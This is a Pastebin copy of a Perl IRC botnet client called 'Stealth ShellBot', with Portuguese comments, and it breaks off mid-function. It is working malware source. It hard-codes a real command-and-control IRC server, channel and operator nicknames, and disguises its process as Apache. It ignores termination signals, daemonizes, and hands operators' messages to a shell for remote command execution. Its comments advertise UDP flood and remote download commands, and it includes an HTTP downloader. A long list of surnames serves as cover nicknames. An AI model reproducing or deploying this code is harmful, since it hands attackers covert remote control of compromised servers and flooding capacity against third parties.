Advertisement
Guest User

Untitled

a guest
Feb 18th, 2009
391
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 46.38 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # ShellBOT
  3. # 0ldW0lf - oldwolf@atrix-team.org
  4. # - www.atrix-team.org
  5. # Stealth ShellBot Vers�o 0.2 by Thiago X
  6. # Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :)
  7. # Mudan�as:
  8. # - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar�ado :);
  9. # - O Bot agora responde PINGs;
  10. # - Voc� pode definir o prefixo dos comandos nas configura�es;
  11. # - Agora o Bot procurar pelo processo do apache para rodar como o apache :D;
  12. # Comandos:
  13. # - Adicionado comando !estatisticas <on/off>;
  14. # - Alterado o comando @pacota para @oldpack;
  15. # - Adicionado dois novos pacotadores: @udp <ip> <porta> <tempo> e @udpfaixa <faixa de ip> <porta> <tempo>;
  16. # - Adicionado comando @download <url> <arquivo a ser salvo>;
  17. # - Adicionado comando !pacotes <on/off> para ativar/desativar pacotes :);
  18.  
  19. ########## CONFIGURACAO ############
  20. my $processo = '/usr/local/apache/bin/httpd -DSSL';
  21.  
  22. $servidor='77.93.75.11' unless $servidor;
  23. my $porta='6667';
  24. my @canais=("#n7");
  25. my @adms=("FL0YDZ", "Neutrino", "thomaz");
  26.  
  27. # Anti Flood ( 6/3 Recomendado )
  28. my $linas_max=10;
  29. my $sleep=3;
  30.  
  31. my @nickname = ("Maria",
  32. "Abbott",
  33. "Acevedo",
  34. "Acosta",
  35. "Adams",
  36. "Adkins",
  37. "Aguilar",
  38. "Aguirre",
  39. "Albert",
  40. "Alexander",
  41. "Alford",
  42. "Allen",
  43. "Allison",
  44. "Alston",
  45. "Alvarado",
  46. "Alvarez",
  47. "Anderson",
  48. "Andrews",
  49. "Anthony",
  50. "Armstrong",
  51. "Arnold",
  52. "Ashley",
  53. "Atkins",
  54. "Atkinson",
  55. "Austin",
  56. "Avery",
  57. "Avila",
  58. "Ayala",
  59. "Ayers",
  60. "Bailey",
  61. "Baird",
  62. "Baker",
  63. "Baldwin",
  64. "Ball",
  65. "Ballard",
  66. "Banks",
  67. "Barber",
  68. "Barker",
  69. "Barlow",
  70. "Barnes",
  71. "Barnett",
  72. "Barr",
  73. "Barrera",
  74. "Barrett",
  75. "Barron",
  76. "Barry",
  77. "Bartlett",
  78. "Barton",
  79. "Bass",
  80. "Bates",
  81. "Battle",
  82. "Bauer",
  83. "Baxter",
  84. "Beach",
  85. "Bean",
  86. "Beard",
  87. "Beasley",
  88. "Beck",
  89. "Becker",
  90. "Bell",
  91. "Bender",
  92. "Benjamin",
  93. "Bennett",
  94. "Benson",
  95. "Bentley",
  96. "Benton",
  97. "Berg",
  98. "Berger",
  99. "Bernard",
  100. "Berry",
  101. "Best",
  102. "Bird",
  103. "Bishop",
  104. "Black",
  105. "Blackburn",
  106. "Blackwell",
  107. "Blair",
  108. "Blake",
  109. "Blanchard",
  110. "Blankenship",
  111. "Blevins",
  112. "Bolton",
  113. "Bond",
  114. "Bonner",
  115. "Booker",
  116. "Boone",
  117. "Booth",
  118. "Bowen",
  119. "Bowers",
  120. "Bowman",
  121. "Boyd",
  122. "Boyer",
  123. "Boyle",
  124. "Bradford",
  125. "Bradley",
  126. "Bradshaw",
  127. "Brady",
  128. "Branch",
  129. "Bray",
  130. "Brennan",
  131. "Brewer",
  132. "Bridges",
  133. "Briggs",
  134. "Bright",
  135. "Britt",
  136. "Brock",
  137. "Brooks",
  138. "Brown",
  139. "Browning",
  140. "Bruce",
  141. "Bryan",
  142. "Bryant",
  143. "Buchanan",
  144. "Buck",
  145. "Buckley",
  146. "Buckner",
  147. "Bullock",
  148. "Burch",
  149. "Burgess",
  150. "Burke",
  151. "Burks",
  152. "Burnett",
  153. "Burns",
  154. "Burris",
  155. "Burt",
  156. "Burton",
  157. "Bush",
  158. "Butler",
  159. "Byers",
  160. "Byrd",
  161. "Cabrera",
  162. "Cain",
  163. "Calderon",
  164. "Caldwell",
  165. "Calhoun",
  166. "Callahan",
  167. "Camacho",
  168. "Cameron",
  169. "Campbell",
  170. "Campos",
  171. "Cannon",
  172. "Cantrell",
  173. "Cantu",
  174. "Cardenas",
  175. "Carey",
  176. "Carlson",
  177. "Carney",
  178. "Carpenter",
  179. "Carr",
  180. "Carrillo",
  181. "Carroll",
  182. "Carson",
  183. "Carter",
  184. "Carver",
  185. "Case",
  186. "Casey",
  187. "Cash",
  188. "Castaneda",
  189. "Castillo",
  190. "Castro",
  191. "Cervantes",
  192. "Chambers",
  193. "Chan",
  194. "Chandler",
  195. "Chaney",
  196. "Chang",
  197. "Chapman",
  198. "Charles",
  199. "Chase",
  200. "Chavez",
  201. "Chen",
  202. "Cherry",
  203. "Christensen",
  204. "Christian",
  205. "Church",
  206. "Clark",
  207. "Clarke",
  208. "Clay",
  209. "Clayton",
  210. "Clements",
  211. "Clemons",
  212. "Cleveland",
  213. "Cline",
  214. "Cobb",
  215. "Cochran",
  216. "Coffey",
  217. "Cohen",
  218. "Cole",
  219. "Coleman",
  220. "Collier",
  221. "Collins",
  222. "Colon",
  223. "Combs",
  224. "Compton",
  225. "Conley",
  226. "Conner",
  227. "Conrad",
  228. "Contreras",
  229. "Conway",
  230. "Cook",
  231. "Cooke",
  232. "Cooley",
  233. "Cooper",
  234. "Copeland",
  235. "Cortez",
  236. "Cote",
  237. "Cotton",
  238. "Cox",
  239. "Craft",
  240. "Craig",
  241. "Crane",
  242. "Crawford",
  243. "Crosby",
  244. "Cross",
  245. "Cruz",
  246. "Cummings",
  247. "Cunningham",
  248. "Curry",
  249. "Curtis",
  250. "Dale",
  251. "Dalton",
  252. "Daniel",
  253. "Daniels",
  254. "Daugherty",
  255. "Davenport",
  256. "David",
  257. "Davidson",
  258. "Davis",
  259. "Dawson",
  260. "Day",
  261. "Dean",
  262. "Decker",
  263. "Dejesus",
  264. "Delacruz",
  265. "Delaney",
  266. "Deleon",
  267. "Delgado",
  268. "Dennis",
  269. "Diaz",
  270. "Dickerson",
  271. "Dickson",
  272. "Dillard",
  273. "Dillon",
  274. "Dixon",
  275. "Dodson",
  276. "Dominguez",
  277. "Donaldson",
  278. "Donovan",
  279. "Dorsey",
  280. "Dotson",
  281. "Douglas",
  282. "Downs",
  283. "Doyle",
  284. "Drake",
  285. "Dudley",
  286. "Duffy",
  287. "Duke",
  288. "Duncan",
  289. "Dunlap",
  290. "Dunn",
  291. "Duran",
  292. "Durham",
  293. "Dyer",
  294. "Eaton",
  295. "Edwards",
  296. "Elliott",
  297. "Ellis",
  298. "Ellison",
  299. "Emerson",
  300. "England",
  301. "English",
  302. "Erickson",
  303. "Espinoza",
  304. "Estes",
  305. "Estrada",
  306. "Evans",
  307. "Everett",
  308. "Ewing",
  309. "Farley",
  310. "Farmer",
  311. "Farrell",
  312. "Faulkner",
  313. "Ferguson",
  314. "Fernandez",
  315. "Ferrell",
  316. "Fields",
  317. "Figueroa",
  318. "Finch",
  319. "Finley",
  320. "Fischer",
  321. "Fisher",
  322. "Fitzgerald",
  323. "Fitzpatrick",
  324. "Fleming",
  325. "Fletcher",
  326. "Flores",
  327. "Flowers",
  328. "Floyd",
  329. "Flynn",
  330. "Foley",
  331. "Forbes",
  332. "Ford",
  333. "Foreman",
  334. "Foster",
  335. "Fowler",
  336. "Fox",
  337. "Francis",
  338. "Franco",
  339. "Frank",
  340. "Franklin",
  341. "Franks",
  342. "Frazier",
  343. "Frederick",
  344. "Freeman",
  345. "French",
  346. "Frost",
  347. "Fry",
  348. "Frye",
  349. "Fuentes",
  350. "Fuller",
  351. "Fulton",
  352. "Gaines",
  353. "Gallagher",
  354. "Gallegos",
  355. "Galloway",
  356. "Gamble",
  357. "Garcia",
  358. "Gardner",
  359. "Garner",
  360. "Garrett",
  361. "Garrison",
  362. "Garza",
  363. "Gates",
  364. "Gay",
  365. "Gentry",
  366. "George",
  367. "Gibbs",
  368. "Gibson",
  369. "Gilbert",
  370. "Giles",
  371. "Gill",
  372. "Gillespie",
  373. "Gilliam",
  374. "Gilmore",
  375. "Glass",
  376. "Glenn",
  377. "Glover",
  378. "Goff",
  379. "Golden",
  380. "Gomez",
  381. "Gonzales",
  382. "Gonzalez",
  383. "Good",
  384. "Goodman",
  385. "Goodwin",
  386. "Gordon",
  387. "Gould",
  388. "Graham",
  389. "Grant",
  390. "Graves",
  391. "Gray",
  392. "Green",
  393. "Greene",
  394. "Greer",
  395. "Gregory",
  396. "Griffin",
  397. "Griffith",
  398. "Grimes",
  399. "Gross",
  400. "Guerra",
  401. "Guerrero",
  402. "Guthrie",
  403. "Gutierrez",
  404. "Guy",
  405. "Guzman",
  406. "Hahn",
  407. "Hale",
  408. "Haley",
  409. "Hall",
  410. "Hamilton",
  411. "Hammond",
  412. "Hampton",
  413. "Hancock",
  414. "Haney",
  415. "Hansen",
  416. "Hanson",
  417. "Hardin",
  418. "Harding",
  419. "Hardy",
  420. "Harmon",
  421. "Harper",
  422. "Harrell",
  423. "Harrington",
  424. "Harris",
  425. "Harrison",
  426. "Hart",
  427. "Hartman",
  428. "Harvey",
  429. "Hatfield",
  430. "Hawkins",
  431. "Hayden",
  432. "Hayes",
  433. "Haynes",
  434. "Hays",
  435. "Head",
  436. "Heath",
  437. "Hebert",
  438. "Henderson",
  439. "Hendricks",
  440. "Hendrix",
  441. "Henry",
  442. "Hensley",
  443. "Henson",
  444. "Herman",
  445. "Hernandez",
  446. "Herrera",
  447. "Herring",
  448. "Hess",
  449. "Hester",
  450. "Hewitt",
  451. "Hickman",
  452. "Hicks",
  453. "Higgins",
  454. "Hill",
  455. "Hines",
  456. "Hinton",
  457. "Hobbs",
  458. "Hodge",
  459. "Hodges",
  460. "Hoffman",
  461. "Hogan",
  462. "Holcomb",
  463. "Holden",
  464. "Holder",
  465. "Holland",
  466. "Holloway",
  467. "Holman",
  468. "Holmes",
  469. "Holt",
  470. "Hood",
  471. "Hooper",
  472. "Hoover",
  473. "Hopkins",
  474. "Hopper",
  475. "Horn",
  476. "Horne",
  477. "Horton",
  478. "House",
  479. "Houston",
  480. "Howard",
  481. "Howe",
  482. "Howell",
  483. "Hubbard",
  484. "Huber",
  485. "Hudson",
  486. "Huff",
  487. "Huffman",
  488. "Hughes",
  489. "Hull",
  490. "Humphrey",
  491. "Hunt",
  492. "Hunter",
  493. "Hurley",
  494. "Hurst",
  495. "Hutchinson",
  496. "Hyde",
  497. "Ingram",
  498. "Irwin",
  499. "Jackson",
  500. "Jacobs",
  501. "Jacobson",
  502. "James",
  503. "Jarvis",
  504. "Jefferson",
  505. "Jenkins",
  506. "Jennings",
  507. "Jensen",
  508. "Jimenez",
  509. "Johns",
  510. "Johnson",
  511. "Johnston",
  512. "Jones",
  513. "Jordan",
  514. "Joseph",
  515. "Joyce",
  516. "Joyner",
  517. "Juarez",
  518. "Justice",
  519. "Kane",
  520. "Kaufman",
  521. "Keith",
  522. "Keller",
  523. "Kelley",
  524. "Kelly",
  525. "Kemp",
  526. "Kennedy",
  527. "Kent",
  528. "Kerr",
  529. "Key",
  530. "Kidd",
  531. "Kim",
  532. "King",
  533. "Kinney",
  534. "Kirby",
  535. "Kirk",
  536. "Kirkland",
  537. "Klein",
  538. "Kline",
  539. "Knapp",
  540. "Knight",
  541. "Knowles",
  542. "Knox",
  543. "Koch",
  544. "Kramer",
  545. "Lamb",
  546. "Lambert",
  547. "Lancaster",
  548. "Landry",
  549. "Lane",
  550. "Lang",
  551. "Langley",
  552. "Lara",
  553. "Larsen",
  554. "Larson",
  555. "Lawrence",
  556. "Lawson",
  557. "Le",
  558. "Leach",
  559. "Leblanc",
  560. "Lee",
  561. "Leon",
  562. "Leonard",
  563. "Lester",
  564. "Levine",
  565. "Levy",
  566. "Lewis",
  567. "Lindsay",
  568. "Lindsey",
  569. "Little",
  570. "Livingston",
  571. "Lloyd",
  572. "Logan",
  573. "Long",
  574. "Lopez",
  575. "Lott",
  576. "Love",
  577. "Lowe",
  578. "Lowery",
  579. "Lucas",
  580. "Luna",
  581. "Lynch",
  582. "Lynn",
  583. "Lyons",
  584. "Macdonald",
  585. "Macias",
  586. "Mack",
  587. "Madden",
  588. "Maddox",
  589. "Maldonado",
  590. "Malone",
  591. "Mann",
  592. "Manning",
  593. "Marks",
  594. "Marquez",
  595. "Marsh",
  596. "Marshall",
  597. "Martin",
  598. "Martinez",
  599. "Mason",
  600. "Massey",
  601. "Mathews",
  602. "Mathis",
  603. "Matthews",
  604. "Maxwell",
  605. "May",
  606. "Mayer",
  607. "Maynard",
  608. "Mayo",
  609. "Mays",
  610. "Mcbride",
  611. "Mccall",
  612. "Mccarthy",
  613. "Mccarty",
  614. "Mcclain",
  615. "Mcclure",
  616. "Mcconnell",
  617. "Mccormick",
  618. "Mccoy",
  619. "Mccray",
  620. "Mccullough",
  621. "Mcdaniel",
  622. "Mcdonald",
  623. "Mcdowell",
  624. "Mcfadden",
  625. "Mcfarland",
  626. "Mcgee",
  627. "Mcgowan",
  628. "Mcguire",
  629. "Mcintosh",
  630. "Mcintyre",
  631. "Mckay",
  632. "Mckee",
  633. "Mckenzie",
  634. "Mckinney",
  635. "Mcknight",
  636. "Mclaughlin",
  637. "Mclean",
  638. "Mcleod",
  639. "Mcmahon",
  640. "Mcmillan",
  641. "Mcneil",
  642. "Mcpherson",
  643. "Meadows",
  644. "Medina",
  645. "Mejia",
  646. "Melendez",
  647. "Melton",
  648. "Mendez",
  649. "Mendoza",
  650. "Mercado",
  651. "Mercer",
  652. "Merrill",
  653. "Merritt",
  654. "Meyer",
  655. "Meyers",
  656. "Michael",
  657. "Middleton",
  658. "Miles",
  659. "Miller",
  660. "Mills",
  661. "Miranda",
  662. "Mitchell",
  663. "Molina",
  664. "Monroe",
  665. "Montgomery",
  666. "Montoya",
  667. "Moody",
  668. "Moon",
  669. "Mooney",
  670. "Moore",
  671. "Morales",
  672. "Moran",
  673. "Moreno",
  674. "Morgan",
  675. "Morin",
  676. "Morris",
  677. "Morrison",
  678. "Morrow",
  679. "Morse",
  680. "Morton",
  681. "Moses",
  682. "Mosley",
  683. "Moss",
  684. "Mueller",
  685. "Mullen",
  686. "Mullins",
  687. "Munoz",
  688. "Murphy",
  689. "Murray",
  690. "Myers",
  691. "Nash",
  692. "Navarro",
  693. "Neal",
  694. "Nelson",
  695. "Newman",
  696. "Newton",
  697. "Nguyen",
  698. "Nichols",
  699. "Nicholson",
  700. "Nielsen",
  701. "Nieves",
  702. "Nixon",
  703. "Noble",
  704. "Noel",
  705. "Nolan",
  706. "Norman",
  707. "Norris",
  708. "Norton",
  709. "Nunez",
  710. "Obrien",
  711. "Ochoa",
  712. "Oconnor",
  713. "Odom",
  714. "Odonnell",
  715. "Oliver",
  716. "Olsen",
  717. "Olson",
  718. "Oneal",
  719. "Oneil",
  720. "Oneill",
  721. "Orr",
  722. "Ortega",
  723. "Ortiz",
  724. "Osborn",
  725. "Osborne",
  726. "Owen",
  727. "Owens",
  728. "Pace",
  729. "Pacheco",
  730. "Padilla",
  731. "Page",
  732. "Palmer",
  733. "Park",
  734. "Parker",
  735. "Parks",
  736. "Parrish",
  737. "Parsons",
  738. "Pate",
  739. "Patel",
  740. "Patrick",
  741. "Patterson",
  742. "Patton",
  743. "Paul",
  744. "Payne",
  745. "Pearson",
  746. "Peck",
  747. "Pena",
  748. "Pennington",
  749. "Perez",
  750. "Perkins",
  751. "Perry",
  752. "Peters",
  753. "Petersen",
  754. "Peterson",
  755. "Petty",
  756. "Phelps",
  757. "Phillips",
  758. "Pickett",
  759. "Pierce",
  760. "Pittman",
  761. "Pitts",
  762. "Pollard",
  763. "Poole",
  764. "Pope",
  765. "Porter",
  766. "Potter",
  767. "Potts",
  768. "Powell",
  769. "Powers",
  770. "Pratt",
  771. "Preston",
  772. "Price",
  773. "Prince",
  774. "Pruitt",
  775. "Puckett",
  776. "Pugh",
  777. "Quinn",
  778. "Ramirez",
  779. "Ramos",
  780. "Ramsey",
  781. "Randall",
  782. "Randolph",
  783. "Rasmussen",
  784. "Ratliff",
  785. "Ray",
  786. "Raymond",
  787. "Reed",
  788. "Reese",
  789. "Reeves",
  790. "Reid",
  791. "Reilly",
  792. "Reyes",
  793. "Reynolds",
  794. "Rhodes",
  795. "Rice",
  796. "Rich",
  797. "Richard",
  798. "Richards",
  799. "Richardson",
  800. "Richmond",
  801. "Riddle",
  802. "Riggs",
  803. "Riley",
  804. "Rios",
  805. "Rivas",
  806. "Rivera",
  807. "Rivers",
  808. "Roach",
  809. "Robbins",
  810. "Roberson",
  811. "Roberts",
  812. "Robertson",
  813. "Robinson",
  814. "Robles",
  815. "Rocha",
  816. "Rodgers",
  817. "Rodriguez",
  818. "Rodriquez",
  819. "Rogers",
  820. "Rojas",
  821. "Rollins",
  822. "Roman",
  823. "Romero",
  824. "Rosa",
  825. "Rosales",
  826. "Rosario",
  827. "Rose",
  828. "Ross",
  829. "Roth",
  830. "Rowe",
  831. "Rowland",
  832. "Roy",
  833. "Ruiz",
  834. "Rush",
  835. "Russell",
  836. "Russo",
  837. "Rutledge",
  838. "Ryan",
  839. "Salas",
  840. "Salazar",
  841. "Salinas",
  842. "Sampson",
  843. "Sanchez",
  844. "Sanders",
  845. "Sandoval",
  846. "Sanford",
  847. "Santana",
  848. "Santiago",
  849. "Santos",
  850. "Sargent",
  851. "Saunders",
  852. "Savage",
  853. "Sawyer",
  854. "Schmidt",
  855. "Schneider",
  856. "Schroeder",
  857. "Schultz",
  858. "Schwartz",
  859. "Scott",
  860. "Sears",
  861. "Sellers",
  862. "Serrano",
  863. "Sexton",
  864. "Shaffer",
  865. "Shannon",
  866. "Sharp",
  867. "Sharpe",
  868. "Shaw",
  869. "Shelton",
  870. "Shepard",
  871. "Shepherd",
  872. "Sheppard",
  873. "Sherman",
  874. "Shields",
  875. "Short",
  876. "Silva",
  877. "Simmons",
  878. "Simon",
  879. "Simpson",
  880. "Sims",
  881. "Singleton",
  882. "Skinner",
  883. "Slater",
  884. "Sloan",
  885. "Small",
  886. "Smith",
  887. "Snider",
  888. "Snow",
  889. "Snyder",
  890. "Solis",
  891. "Solomon",
  892. "Sosa",
  893. "Soto",
  894. "Sparks",
  895. "Spears",
  896. "Spence",
  897. "Spencer",
  898. "Stafford",
  899. "Stanley",
  900. "Stanton",
  901. "Stark",
  902. "Steele",
  903. "Stein",
  904. "Stephens",
  905. "Stephenson",
  906. "Stevens",
  907. "Stevenson",
  908. "Stewart",
  909. "Stokes",
  910. "Stone",
  911. "Stout",
  912. "Strickland",
  913. "Strong",
  914. "Stuart",
  915. "Suarez",
  916. "Sullivan",
  917. "Summers",
  918. "Sutton",
  919. "Swanson",
  920. "Sweeney",
  921. "Sweet",
  922. "Sykes",
  923. "Talley",
  924. "Tanner",
  925. "Tate",
  926. "Taylor",
  927. "Terrell",
  928. "Terry",
  929. "Thomas",
  930. "Thompson",
  931. "Thornton",
  932. "Tillman",
  933. "Todd",
  934. "Torres",
  935. "Townsend",
  936. "Tran",
  937. "Travis",
  938. "Trevino",
  939. "Trujillo",
  940. "Tucker",
  941. "Turner",
  942. "Tyler",
  943. "Tyson",
  944. "Underwood",
  945. "Valdez",
  946. "Valencia",
  947. "Valentine",
  948. "Valenzuela",
  949. "Vance",
  950. "Vang",
  951. "Vargas",
  952. "Vasquez",
  953. "Vaughan",
  954. "Vaughn",
  955. "Vazquez",
  956. "Vega",
  957. "Velasquez",
  958. "Velazquez",
  959. "Velez",
  960. "Villarreal",
  961. "Vincent",
  962. "Vinson",
  963. "Wade",
  964. "Wagner",
  965. "Walker",
  966. "Wall",
  967. "Wallace",
  968. "Waller",
  969. "Walls",
  970. "Walsh",
  971. "Walter",
  972. "Walters",
  973. "Walton",
  974. "Ward",
  975. "Ware",
  976. "Warner",
  977. "Warren",
  978. "Washington",
  979. "Waters",
  980. "Watkins",
  981. "Watson",
  982. "Watts",
  983. "Weaver",
  984. "Webb",
  985. "Weber",
  986. "Webster",
  987. "Weeks",
  988. "Weiss",
  989. "Welch",
  990. "Wells",
  991. "West",
  992. "Wheeler",
  993. "Whitaker",
  994. "White",
  995. "Whitehead",
  996. "Whitfield",
  997. "Whitley",
  998. "Whitney",
  999. "Wiggins",
  1000. "Wilcox",
  1001. "Wilder",
  1002. "Wiley",
  1003. "Wilkerson",
  1004. "Wilkins",
  1005. "Wilkinson",
  1006. "William",
  1007. "Williams",
  1008. "Williamson",
  1009. "Willis",
  1010. "Wilson",
  1011. "Winters",
  1012. "Wise",
  1013. "Witt",
  1014. "Wolf",
  1015. "Wolfe",
  1016. "Wong",
  1017. "Wood",
  1018. "Woodard",
  1019. "Woods",
  1020. "Woodward",
  1021. "Wooten",
  1022. "Workman",
  1023. "Wright",
  1024. "Wyatt",
  1025. "Wynn",
  1026. "Yang",
  1027. "Yates",
  1028. "York",
  1029. "Young",
  1030. "Zamora",
  1031. "Zimmerman",
  1032. "Together");
  1033.  
  1034. my $nick = $nickname[rand scalar @nickname];
  1035.  
  1036. my $acessoshell = 1;
  1037.  
  1038. ######## Stealth ShellBot ##########
  1039. my $prefixo = "!bot";
  1040. my $estatisticas = 1;
  1041. my $pacotes = 1;
  1042. ####################################
  1043.  
  1044. my $VERSAO = '0.2b';
  1045.  
  1046. $SIG{'INT'} = 'IGNORE';
  1047. $SIG{'HUP'} = 'IGNORE';
  1048. $SIG{'TERM'} = 'IGNORE';
  1049. $SIG{'CHLD'} = 'IGNORE';
  1050. $SIG{'PS'} = 'IGNORE';
  1051.  
  1052. use IO::Socket;
  1053. use Socket;
  1054. use IO::Select;
  1055. chdir("/");
  1056. $servidor="$ARGV[0]" if $ARGV[0];
  1057. $0="$processo"."\0";
  1058. my $pid=fork;
  1059. exit if $pid;
  1060. die "Problema com o fork: $!" unless defined($pid);
  1061.  
  1062. my %irc_servers;
  1063. my %DCC;
  1064. my $dcc_sel = new IO::Select->new();
  1065.  
  1066. sub getnick {
  1067. return "tw".int(rand(1000));
  1068. }
  1069.  
  1070. sub getstore ($$)
  1071. {
  1072. my $url = shift;
  1073. my $file = shift;
  1074.  
  1075. $http_stream_out = 1;
  1076. open(GET_OUTFILE, "> $file");
  1077. %http_loop_check = ();
  1078. _get($url);
  1079. close GET_OUTFILE;
  1080. return $main::http_get_result;
  1081. }
  1082.  
  1083. sub _get
  1084. {
  1085. my $url = shift;
  1086. my $proxy = "";
  1087. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  1088. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  1089. my $host = $1;
  1090. my $port = $2 || 80;
  1091. my $path = $3;
  1092. $path = "/" unless defined($path);
  1093. return _trivial_http_get($host, $port, $path);
  1094. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  1095. my $host = $1;
  1096. my $port = $2;
  1097. my $path = $url;
  1098. return _trivial_http_get($host, $port, $path);
  1099. } else {
  1100. return undef;
  1101. }
  1102. }
  1103.  
  1104.  
  1105. sub _trivial_http_get
  1106. {
  1107. my($host, $port, $path) = @_;
  1108. my($AGENT, $VERSION, $p);
  1109. #print "HOST=$host, PORT=$port, PATH=$path\n";
  1110.  
  1111. $AGENT = "get-minimal";
  1112. $VERSION = "20000118";
  1113.  
  1114. $path =~ s/ /%20/g;
  1115.  
  1116. require IO::Socket;
  1117. local($^W) = 0;
  1118. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  1119. PeerPort => $port,
  1120. Proto => 'tcp',
  1121. Timeout => 60) || return;
  1122. $sock->autoflush;
  1123. my $netloc = $host;
  1124. $netloc .= ":$port" if $port != 80;
  1125. my $request = "GET $path HTTP/1.0\015\012"
  1126. . "Host: $netloc\015\012"
  1127. . "User-Agent: $AGENT/$VERSION/u\015\012";
  1128. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  1129. $request .= "\015\012";
  1130. print $sock $request;
  1131.  
  1132. my $buf = "";
  1133. my $n;
  1134. my $b1 = "";
  1135. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  1136. if ($b1 eq "") { # first block?
  1137. $b1 = $buf; # Save this for errorcode parsing
  1138. $buf =~ s/.+?\015?\012\015?\012//s; # zap header
  1139. }
  1140. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  1141. }
  1142. return undef unless defined($n);
  1143.  
  1144. $main::http_get_result = 200;
  1145. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  1146. $main::http_get_result = $1;
  1147. # print "CODE=$main::http_get_result\n$b1\n";
  1148. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
  1149. ) {
  1150. # redirect
  1151. my $url = $1;
  1152. return undef if $http_loop_check{$url}++;
  1153. return _get($url);
  1154. }
  1155. return undef unless $main::http_get_result =~ /^2/;
  1156. }
  1157.  
  1158. return $buf;
  1159. }
  1160.  
  1161. #############################
  1162. # B0tchZ na veia ehehe :P #
  1163. #############################
  1164.  
  1165. $sel_cliente = IO::Select->new();
  1166. sub sendraw {
  1167. if ($#_ == '1') {
  1168. my $socket = $_[0];
  1169. print $socket "$_[1]\n";
  1170. } else {
  1171. print $IRC_cur_socket "$_[0]\n";
  1172. }
  1173. }
  1174.  
  1175. sub conectar {
  1176. my $meunick = $_[0];
  1177. my $servidor_con = $_[1];
  1178. my $porta_con = $_[2];
  1179.  
  1180. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  1181. if (defined($IRC_socket)) {
  1182. $IRC_cur_socket = $IRC_socket;
  1183.  
  1184. $IRC_socket->autoflush(1);
  1185. $sel_cliente->add($IRC_socket);
  1186.  
  1187. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  1188. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  1189. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1190. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  1191. nick("$meunick");
  1192. sendraw("USER 0WN4R ".$IRC_socket->sockhost." $servidor_con :`uname -a`");
  1193. sleep 2;
  1194. }
  1195.  
  1196. }
  1197. my $line_temp;
  1198. while( 1 ) {
  1199. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  1200. delete($irc_servers{''}) if (defined($irc_servers{''}));
  1201. &DCC::connections;
  1202. my @ready = $sel_cliente->can_read(0.6);
  1203. next unless(@ready);
  1204. foreach $fh (@ready) {
  1205. $IRC_cur_socket = $fh;
  1206. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  1207. $nread = sysread($fh, $msg, 4096);
  1208. if ($nread == 0) {
  1209. $sel_cliente->remove($fh);
  1210. $fh->close;
  1211. delete($irc_servers{$fh});
  1212. }
  1213. @lines = split (/\n/, $msg);
  1214.  
  1215. for(my $c=0; $c<= $#lines; $c++) {
  1216. $line = $lines[$c];
  1217. $line=$line_temp.$line if ($line_temp);
  1218. $line_temp='';
  1219. $line =~ s/\r$//;
  1220. unless ($c == $#lines) {
  1221. parse("$line");
  1222. } else {
  1223. if ($#lines == 0) {
  1224. parse("$line");
  1225. } elsif ($lines[$c] =~ /\r$/) {
  1226. parse("$line");
  1227. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  1228. parse("$line");
  1229. } else {
  1230. $line_temp = $line;
  1231. }
  1232. }
  1233. }
  1234. }
  1235. }
  1236.  
  1237. sub parse {
  1238. my $servarg = shift;
  1239. if ($servarg =~ /^PING \:(.*)/) {
  1240. sendraw("PONG :$1");
  1241. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  1242. my $pn=$1; my $onde = $4; my $args = $5;
  1243. if ($args =~ /^\001VERSION\001$/) {
  1244. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  1245. }
  1246. elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  1247. notice("$pn", "\001PONG\001");
  1248. }
  1249. elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  1250. if ($onde eq "$meunick"){
  1251. shell("$pn", "$args");
  1252. }
  1253. elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  1254. my $natrix = $1;
  1255. my $arg = $2;
  1256. if ($arg =~ /^\!(.*)/) {
  1257. ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  1258. } elsif ($arg =~ /^\@(.*)/) {
  1259. $ondep = $onde;
  1260. $ondep = $pn if $onde eq $meunick;
  1261. bfunc("$ondep","$1");
  1262. } else {
  1263. shell("$onde", "$arg");
  1264. }
  1265. }
  1266. }
  1267. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  1268. if (lc($1) eq lc($meunick)) {
  1269. $meunick=$4;
  1270. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1271. }
  1272. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  1273. $meunick = getnick();
  1274. nick("$meunick");
  1275. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  1276. $meunick = $2;
  1277. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  1278. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  1279. foreach my $canal (@canais) {
  1280. sendraw("JOIN $canal");
  1281. }
  1282. }
  1283. }
  1284.  
  1285. sub bfunc {
  1286. my $printl = $_[0];
  1287. my $funcarg = $_[1];
  1288. if (my $pid = fork) {
